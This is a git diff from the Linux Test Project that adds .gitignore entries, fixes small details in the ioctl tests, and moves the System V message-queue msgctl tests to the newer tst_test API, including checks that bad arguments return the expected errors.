index 0000000..79516a1
--- /dev/null
+++ b/testcases/kernel/syscalls/ioctl/.gitignore
@@ -0,0 +1,7 @@
+/ioctl01
+/ioctl02
+/ioctl03
+/ioctl04
+/ioctl05
+/ioctl06
+/ioctl07
diff --git a/testcases/kernel/syscalls/ioctl/ioctl03.c b/testcases/kernel/syscalls/ioctl/ioctl03.c
index 0ae3cb2..b1b50ed 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl03.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl03.c
@@ -80,7 +80,7 @@
 
 	int netfd = open("/dev/net/tun", O_RDWR);
 	if (netfd == -1) {
-		if (errno == ENODEV)
+		if (errno == ENODEV || errno == ENOENT)
 			tst_brk(TCONF, "TUN support is missing?");
 
 		tst_brk(TBROK | TERRNO, "opening /dev/net/tun failed");
diff --git a/testcases/kernel/syscalls/ioctl/ioctl04.c b/testcases/kernel/syscalls/ioctl/ioctl04.c
index 89e89ec..2a70055 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl04.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl04.c
@@ -52,13 +52,13 @@
 
 	TEST(mount(tst_device->dev, "mntpoint", tst_device->fs_type, 0, NULL));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "Mounting RO device RW succeeded");
 		tst_umount("mntpoint");
 		goto next;
 	}
 
-	if (TEST_ERRNO == EACCES) {
+	if (TST_ERR == EACCES) {
 		tst_res(TPASS | TERRNO, "Mounting RO device RW failed");
 		goto next;
 	}
@@ -69,7 +69,7 @@
 next:
 	TEST(mount(tst_device->dev, "mntpoint", tst_device->fs_type, MS_RDONLY, NULL));
 
-	if (TEST_RETURN == 0) {
+	if (TST_RET == 0) {
 		tst_res(TPASS, "Mounting RO device RO works");
 		tst_umount("mntpoint");
 	} else {
diff --git a/testcases/kernel/syscalls/ioperm/.gitignore b/testcases/kernel/syscalls/ioperm/.gitignore
new file mode 100644
index 0000000..0bdf8ea
--- /dev/null
+++ b/testcases/kernel/syscalls/ioperm/.gitignore
@@ -0,0 +1,2 @@
+/ioperm01
+/ioperm02
diff --git a/testcases/kernel/syscalls/iopl/.gitignore b/testcases/kernel/syscalls/iopl/.gitignore
new file mode 100644
index 0000000..6acf0d7
--- /dev/null
+++ b/testcases/kernel/syscalls/iopl/.gitignore
@@ -0,0 +1,2 @@
+/iopl01
+/iopl02
diff --git a/testcases/kernel/syscalls/ipc/msgctl/.gitignore b/testcases/kernel/syscalls/ipc/msgctl/.gitignore
new file mode 100644
index 0000000..f179f26
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/msgctl/.gitignore
@@ -0,0 +1,5 @@
+/msgctl01
+/msgctl02
+/msgctl03
+/msgctl04
+/msgctl12
diff --git a/testcases/kernel/syscalls/ipc/msgctl/Makefile b/testcases/kernel/syscalls/ipc/msgctl/Makefile
index 4472eeb..f9ee8d2 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/Makefile
+++ b/testcases/kernel/syscalls/ipc/msgctl/Makefile
@@ -19,11 +19,5 @@
 top_srcdir              ?= ../../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
-
-LIBMSGCTL               := $(LIBDIR)/libmsgctl.a
-LDLIBS                  += -lmsgctl
-
-MAKE_DEPS               := $(LIBMSGCTL)
-
-include $(abs_srcdir)/../Makefile.inc
+include $(abs_srcdir)/../Makefile2.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c
index 1838962..df14264 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c
@@ -1,153 +1,155 @@
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	msgctl01.c
- *
- * DESCRIPTION
- *	msgctl01 - create a message queue, then issue the IPC_STAT command
- *		   and RMID commands to test the functionality
- *
- * ALGORITHM
- *	create a message queue
- *	loop if that option was specified
- *	call msgctl() with the IPC_STAT command
- *	check the return code
- *	  if failure, issue a FAIL message and break remaining tests
- *	otherwise,
- *	  if doing functionality testing
- *	  	if the max number of bytes on the queue is > 0,
- *			issue a PASS message
- *		otherwise
- *			issue a FAIL message
- *	  else issue a PASS message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgctl01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
+ * Copyright (c) International Business Machines  Corp., 2001
  *	03/2001 - Written by Wayne Boyer
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
- * RESTRICTIONS
- *	none
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software  Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-#include "test.h"
-
-#include "ipcmsg.h"
-
-char *TCID = "msgctl01";
-int TST_TOTAL = 1;
-
-int msg_q_1 = -1;		/* to hold the message queue id */
-
-struct msqid_ds qs_buf;
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Get the msqid_ds structure values for the queue
-		 */
-
-		TEST(msgctl(msg_q_1, IPC_STAT, &qs_buf));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "msgctl() call failed");
-		} else {
-			if (qs_buf.msg_qbytes > 0) {
-				tst_resm(TPASS, "qs_buf.msg_qbytes is"
-					 " a positive value");
-			} else {
-				tst_resm(TFAIL, "qs_buf.msg_qbytes did"
-					 " not change");
-			}
-		}
-
-		/*
-		 * clean up things in case we are looping
-		 */
-		qs_buf.msg_qbytes = 0x0000;
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
 /*
- * setup() - performs all the ONE TIME setup for this test.
+ * Test that IPC_STAT command succeeds and the the buffer is filled with
+ * correct data.
  */
-void setup(void)
+#include <errno.h>
+
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
+
+static int msg_id = -1;
+static time_t creat_time;
+static key_t msgkey;
+static uid_t uid;
+static gid_t gid;
+unsigned short mode = 0660;
+
+static void verify_msgctl(void)
 {
+	struct msqid_ds buf;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	memset(&buf, 'a', sizeof(buf));
+	TEST(msgctl(msg_id, IPC_STAT, &buf));
 
-	TEST_PAUSE;
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO, "msgctl() returned %li", TST_RET);
+		return;
+	}
 
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
+	tst_res(TPASS, "msgctl(IPC_STAT)");
 
-	/* get a message key */
-	msgkey = getipckey();
+	if (buf.msg_stime == 0)
+		tst_res(TPASS, "msg_stime = 0");
+	else
+		tst_res(TFAIL, "msg_stime = %lu", (unsigned long)buf.msg_stime);
 
-	/* make sure the initial # of bytes is 0 in our buffer */
-	qs_buf.msg_qbytes = 0x0000;
+	if (buf.msg_rtime == 0)
+		tst_res(TPASS, "msg_rtime = 0");
+	else
+		tst_res(TFAIL, "msg_rtime = %lu", (unsigned long)buf.msg_rtime);
 
-	/* now we have a key, so let's create a message queue */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
+	if (buf.msg_ctime <= creat_time && buf.msg_ctime >= creat_time - 2) {
+		tst_res(TPASS, "msg_ctime = %lu, expected %lu",
+			(unsigned long)buf.msg_ctime, (unsigned long)creat_time);
+	} else {
+		tst_res(TFAIL, "msg_ctime = %lu, expected %lu",
+			(unsigned long)buf.msg_ctime, (unsigned long)creat_time);
+	}
+
+	if (buf.msg_qnum == 0)
+		tst_res(TPASS, "msg_qnum = 0");
+	else
+		tst_res(TFAIL, "msg_qnum = %li", (long)buf.msg_qnum);
+
+	if (buf.msg_qbytes > 0)
+		tst_res(TPASS, "msg_qbytes = %li", (long)buf.msg_qbytes);
+	else
+		tst_res(TFAIL, "msg_qbytes = %li", (long)buf.msg_qbytes);
+
+	if (buf.msg_lspid == 0)
+		tst_res(TPASS, "msg_lspid = 0");
+	else
+		tst_res(TFAIL, "msg_lspid = %u", (unsigned)buf.msg_lspid);
+
+	if (buf.msg_lrpid == 0)
+		tst_res(TPASS, "msg_lrpid = 0");
+	else
+		tst_res(TFAIL, "msg_lrpid = %u", (unsigned)buf.msg_lrpid);
+
+	if (buf.msg_perm.__key == msgkey) {
+		tst_res(TPASS, "msg_perm.__key == %u", (unsigned)msgkey);
+	} else {
+		tst_res(TFAIL, "msg_perm.__key == %u, expected %u",
+			(unsigned)buf.msg_perm.__key, (unsigned)msgkey);
+	}
+
+	if (buf.msg_perm.uid == uid) {
+		tst_res(TPASS, "msg_perm.uid = %u", (unsigned)uid);
+	} else {
+		tst_res(TFAIL, "msg_perm.uid = %u, expected %u",
+			(unsigned)buf.msg_perm.uid, (unsigned)uid);
+	}
+
+	if (buf.msg_perm.gid == gid) {
+		tst_res(TPASS, "msg_perm.gid = %u", (unsigned)gid);
+	} else {
+		tst_res(TFAIL, "msg_perm.gid = %u, expected %u",
+			(unsigned)buf.msg_perm.gid, (unsigned)gid);
+	}
+
+	if (buf.msg_perm.cuid == uid) {
+		tst_res(TPASS, "msg_perm.cuid = %u", (unsigned)uid);
+	} else {
+		tst_res(TFAIL, "msg_perm.cuid = %u, expected %u",
+			(unsigned)buf.msg_perm.cuid, (unsigned)uid);
+	}
+
+	if (buf.msg_perm.cgid == gid) {
+		tst_res(TPASS, "msg_perm.cgid = %u", (unsigned)gid);
+	} else {
+		tst_res(TFAIL, "msg_perm.cgid = %u, expected %u",
+			(unsigned)buf.msg_perm.cgid, (unsigned)gid);
+	}
+
+	if ((buf.msg_perm.mode & MODE_MASK) == (mode & MODE_MASK)) {
+		tst_res(TPASS, "msg_perm.mode = 0%ho", mode & MODE_MASK);
+	} else {
+		tst_res(TFAIL, "msg_perm.mode = 0%ho, expected %hx",
+			buf.msg_perm.mode, (mode & MODE_MASK));
 	}
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void setup(void)
 {
-	/* if it exists, remove the message queue */
-	rm_queue(msg_q_1);
+	msgkey = GETIPCKEY();
 
-	tst_rmdir();
+	msg_id = SAFE_MSGGET(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW | mode);
+	time(&creat_time);
 
+	uid = geteuid();
+	gid = getegid();
 }
+
+static void cleanup(void)
+{
+	if (msg_id >= 0)
+		SAFE_MSGCTL(msg_id, IPC_RMID, NULL);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_msgctl,
+	.needs_tmpdir = 1
+};
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl02.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl02.c
index 1b39091..fca49f3 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl02.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl02.c
@@ -1,175 +1,84 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *    03/2001 - Written by Wayne Boyer
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
-
 /*
- * NAME
- *	msgctl02.c
- *
- * DESCRIPTION
- *	msgctl02 - create a message queue, then issue the IPC_SET command
- *		   to lower the msg_qbytes value.
- *
- * ALGORITHM
- *	create a message queue
- *	loop if that option was specified
- *	call msgctl() with the IPC_SET command with a new msg_qbytes value
- *	check the return code
- *	  if failure, issue a FAIL message and break remaining tests
- *	otherwise,
- *	  if doing functionality testing
- *	  	if the msg_qbytes value is the new value
- *			issue a PASS message
- *		otherwise
- *			issue a FAIL message
- *	  else issue a PASS message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgctl02 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
+ * Create a message queue, then issue the IPC_SET command to lower the
+ * msg_qbytes value.
  */
 
-#include "test.h"
+#include <errno.h>
 
-#include "ipcmsg.h"
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-char *TCID = "msgctl02";
-int TST_TOTAL = 1;
+static int msg_id = -1;
+struct msqid_ds orig_buf;
 
-int msg_q_1 = -1;		/* to hold the message queue id */
-
-struct msqid_ds qs_buf;
-
-unsigned long int new_bytes;
-
-int main(int ac, char **av)
+static void verify_msgctl(void)
 {
-	int lc;
+	struct msqid_ds buf = orig_buf;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	buf.msg_qbytes -= 1;
 
-	setup();		/* global setup */
+	TEST(msgctl(msg_id, IPC_SET, &buf));
 
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Set the msqid_ds structure values for the queue
-		 */
-
-		TEST(msgctl(msg_q_1, IPC_SET, &qs_buf));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "msgctl() call failed");
-		} else {
-			/* do a stat to get current queue values */
-			if ((msgctl(msg_q_1, IPC_STAT, &qs_buf) == -1)) {
-				tst_resm(TBROK, "stat on queue failed");
-				continue;
-			}
-
-			if (qs_buf.msg_qbytes == new_bytes) {
-				tst_resm(TPASS, "qs_buf.msg_qbytes is"
-					 " the new value - %ld",
-					 qs_buf.msg_qbytes);
-			} else {
-				tst_resm(TFAIL, "qs_buf.msg_qbytes "
-					 "value is not expected");
-				tst_resm(TINFO, "expected - %ld, "
-					 "received - %ld", new_bytes,
-					 qs_buf.msg_qbytes);
-			}
-		}
-
-		/*
-		 * decrement by one the msq_qbytes value
-		 */
-		qs_buf.msg_qbytes -= 1;
-		new_bytes = qs_buf.msg_qbytes;
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO, "msgctl(IPC_SET) failed");
+		return;
 	}
 
-	cleanup();
+	tst_res(TPASS, "msgctl(IPC_SET) msg_qbytes - 1");
 
-	tst_exit();
-}
+	memset(&buf, 0, sizeof(buf));
+	SAFE_MSGCTL(msg_id, IPC_STAT, &buf);
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	/* get a message key */
-	msgkey = getipckey();
-
-	/* make sure the initial # of bytes is 0 in our buffer */
-	qs_buf.msg_qbytes = 0x3000;
-
-	/* now we have a key, so let's create a message queue */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
+	if (buf.msg_qbytes == orig_buf.msg_qbytes - 1) {
+		tst_res(TPASS, "msg_qbytes = %lu",
+			(unsigned long)buf.msg_qbytes);
+	} else {
+		tst_res(TFAIL, "msg_qbytes = %lu, expected %lu",
+			(unsigned long)buf.msg_qbytes,
+			(unsigned long)orig_buf.msg_qbytes - 1);
 	}
 
-	/* now stat the queue to get the default msg_qbytes value */
-	if ((msgctl(msg_q_1, IPC_STAT, &qs_buf)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't stat the message queue");
-	}
-
-	/* decrement msg_qbytes and copy its value */
-	qs_buf.msg_qbytes -= 1;
-	new_bytes = qs_buf.msg_qbytes;
+	SAFE_MSGCTL(msg_id, IPC_SET, &orig_buf);
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void setup(void)
 {
-	/* if it exists, remove the message queue */
-	rm_queue(msg_q_1);
+	key_t msgkey = GETIPCKEY();
 
-	tst_rmdir();
+	msg_id = SAFE_MSGGET(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW | 0660);
 
+	SAFE_MSGCTL(msg_id, IPC_STAT, &orig_buf);
 }
+
+static void cleanup(void)
+{
+	if (msg_id >= 0)
+		SAFE_MSGCTL(msg_id, IPC_RMID, NULL);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_msgctl,
+	.needs_tmpdir = 1
+};
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl03.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl03.c
index 4693b89..707fe2b 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl03.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl03.c
@@ -1,143 +1,54 @@
 /*
+ * Copyright (c) 2014 Fujitsu Ltd.
+ * Author: Zeng Linggang <zenglg.jy@cn.fujitsu.com>
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License along
+ * with this program.
  */
-
 /*
- * NAME
- *	msgctl03.c
- *
  * DESCRIPTION
- *	msgctl03 - create a message queue, then issue the IPC_RMID command
- *
- * ALGORITHM
- *	create a message queue
- *	loop if that option was specified
- *	call msgctl() with the IPC_RMID command
- *	check the return code
- *	  if failure, issue a FAIL message and break remaining tests
- *	otherwise,
- *	  if doing functionality testing
- *		issue an IPC_STAT on the queue that was just removed
- *	  	if the call fails
- *			issue a PASS message
- *		otherwise
- *			issue a FAIL message
- *	  else issue a PASS message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgctl03 [-c n] [-f] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	This test does not support looping.
+ *	msgctl13 - test for IPC_RMID
  */
+#include <errno.h>
 
-#include "test.h"
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-#include "ipcmsg.h"
-
-char *TCID = "msgctl03";
-int TST_TOTAL = 1;
-
-int msg_q_1 = -1;		/* to hold the message queue id */
-
-struct msqid_ds qs_buf;
-
-int main(int ac, char **av)
+static void verify_msgctl(void)
 {
+	struct msqid_ds buf;
+	int msg_q;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	msg_q = SAFE_MSGGET(IPC_PRIVATE, MSG_RW);
 
-	setup();		/* global setup */
+	TEST(msgctl(msg_q, IPC_RMID, NULL));
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO, "msgctl(IPC_RMID) failed");
+		return;
+	}
 
-	/*
-	 * Remove the queue that was created in setup()
-	 */
+	tst_res(TPASS, "msgctl(IPC_RMID)");
 
-	TEST(msgctl(msg_q_1, IPC_RMID, NULL));
-
-	if (TEST_RETURN == -1) {
-		tst_brkm(TFAIL | TTERRNO, cleanup, "msgctl() call failed");
+	TEST(msgctl(msg_q, IPC_STAT, &buf));
+	if (TST_ERR == EINVAL) {
+		tst_res(TPASS | TTERRNO, "msgctl(IPC_STAT)");
 	} else {
-		/*
-		 * if the queue is gone, then an IPC_STAT msgctl()
-		 * call should generate an EINVAL error.
-		 */
-		if ((msgctl(msg_q_1, IPC_STAT, &qs_buf) == -1)) {
-			if (errno == EINVAL) {
-				tst_resm(TPASS, "The queue is gone");
-			} else {
-				tst_resm(TFAIL, "IPC_RMID succeeded ,"
-					 " but functional test did not"
-					 " get expected EINVAL error");
-			}
-		}
-	}
-
-	msg_q_1 = -1;
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	/* get a message key */
-	msgkey = getipckey();
-
-	/* now we have a key, so let's create a message queue */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
+		tst_res(TFAIL | TTERRNO,
+			"msgctl(IPC_STAT) returned %li", TST_RET);
 	}
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-	/* if it exists, remove the message queue */
-	rm_queue(msg_q_1);
-
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.test_all = verify_msgctl,
+	.needs_tmpdir = 1
+};
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c
index 0e8fe9f..8e4af83 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c
@@ -1,203 +1,118 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *    03/2001 - Written by Wayne Boyer
+ *    12/03/2008 Matthieu Fertré (Matthieu.Fertre@irisa.fr)
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
-
 /*
- * NAME
- *	msgctl04.c
- *
- * DESCRIPTION
- *	msgctl04 - test for EACCES, EFAULT and EINVAL errors using
- *		   a variety of incorrect calls.
- *
- * ALGORITHM
- *	create two message queues
- *	loop if that option was specified
- *	try to access a queue with some invalid argument
- *	check the errno value
- *	  issue a PASS message if we get EACCES, EFAULT or EINVAL
- *	  depending on the test case
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgctl04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *      12/03/2008 Matthieu Fertré (Matthieu.Fertre@irisa.fr)
- *      - Fix concurrency issue. The second key used for this test could
- *        conflict with the key from another task.
- *
- * RESTRICTIONS
- *	none
+ * Test for EACCES, EFAULT and EINVAL errors using a variety of incorrect
+ * calls.
  */
+#include <errno.h>
 #include <pwd.h>
 
-#include "test.h"
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-#include "ipcmsg.h"
-
-char *TCID = "msgctl04";
-int TST_TOTAL = 6;
-
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-int msg_q_1 = -1;		/* The message queue id created in setup */
-int msg_q_2 = -1;		/* Another queue id created in setup */
-int bad_q = -1;			/* a value to use as a bad queue id */
+static int msg_id1 = -1;
+static int msg_id2 = -1;
+static int msg_id3 = -1;
+static int bad_q = -1;
 
 struct msqid_ds q_buf;
 
-struct test_case_t {		/* This allows testing of many negative */
-	int *queue_id;		/* test cases that can all use the same */
-	int ipc_cmd;		/* basic test setup.                    */
+struct tcase {
+	int *msg_id;
+	int cmd;
 	struct msqid_ds *buf;
 	int error;
-} TC[] = {
+} tc[] = {
 	/* EACCES - there is no read permission for the queue */
-	{
-	&msg_q_1, IPC_STAT, &q_buf, EACCES},
-	    /* EFAULT - the structure address is invalid - IPC_STAT */
-	{
-	&msg_q_2, IPC_STAT, (struct msqid_ds *)-1, EFAULT},
-	    /* EFAULT - the structure address is invalid - IPC_SET */
-	{
-	&msg_q_2, IPC_SET, (struct msqid_ds *)-1, EFAULT},
-	    /* EINVAL - the command (-1) is invalid */
-	{
-	&msg_q_2, -1, &q_buf, EINVAL},
-	    /* EINVAL - the queue id is invalid - IPC_STAT */
-	{
-	&bad_q, IPC_STAT, &q_buf, EINVAL},
-	    /* EINVAL - the queue id is invalid - IPC_SET */
-	{
-	&bad_q, IPC_SET, &q_buf, EINVAL}
+	{&msg_id1, IPC_STAT, &q_buf, EACCES},
+	/* EFAULT - the structure address is invalid - IPC_STAT */
+	{&msg_id2, IPC_STAT, (struct msqid_ds *)-1, EFAULT},
+	/* EFAULT - the structure address is invalid - IPC_SET */
+	{&msg_id2, IPC_SET, (struct msqid_ds *)-1, EFAULT},
+	/* EINVAL - the command (-1) is invalid */
+	{&msg_id2, -1, &q_buf, EINVAL},
+	/* EINVAL - the queue id is invalid - IPC_STAT */
